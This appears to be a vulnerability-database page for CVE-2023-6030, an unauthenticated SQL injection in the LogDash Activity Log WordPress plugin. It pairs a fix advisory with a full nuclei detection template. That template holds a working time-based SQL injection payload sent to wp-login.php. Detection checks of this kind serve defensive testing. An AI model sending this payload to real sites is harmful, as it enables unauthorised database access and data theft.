HexBrain

Browse / CVEs / CVE-2023-6030

CVE-2023-6030· CWE-89

LogDash Activity Log <= 1.1.3 - SQL Injection

criticalseverity
9.8CVSS score
0.9%likelihood of exploitation, next 30 days
59%of all CVEs are less likely
Readycheck to confirm it

The LogDash Activity Log plugin for WordPress is vulnerable to SQL Injection via the username parameter in all versions up to, and including, 1.1.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can exploit SQL injection to execute arbitrary SQL commands, potentially compromising the database.

Fix

Upgrade to version 1.1.4 or later.

How to confirm it

Send: GET /wp-content/plugins/logdash-activity-log/README.txt
Positive when: compare_versions(version, "<= 1.1.3") and contains(body, "LogDash Activity Log") and status_code == 200
Send: @timeout: 30s
Positive when: duration>=7 and status_code == 200 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2023-6030 -u <target>

The full check
id: CVE-2023-6030

info:
  name: LogDash Activity Log <= 1.1.3 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The LogDash Activity Log plugin for WordPress is vulnerable to SQL Injection via the username parameter in all versions up to, and including, 1.1.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to execute arbitrary SQL commands, potentially compromising the database.
  remediation: |
    Upgrade to version 1.1.4 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/logdash-activity-log/logdash-activity-log-113-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6030
    epss-score: 0.00851
    epss-percentile: 0.58514
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,logdash-activity-log

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/logdash-activity-log/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 1.1.3")'
          - 'contains(body, "LogDash Activity Log")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'Stable tag:\s*([0-9]+\.[0-9]+\.[0-9]+)'
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=' OR (SELECT 1 FROM (SELECT(SLEEP(7)))YY) # a&pwd=test&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from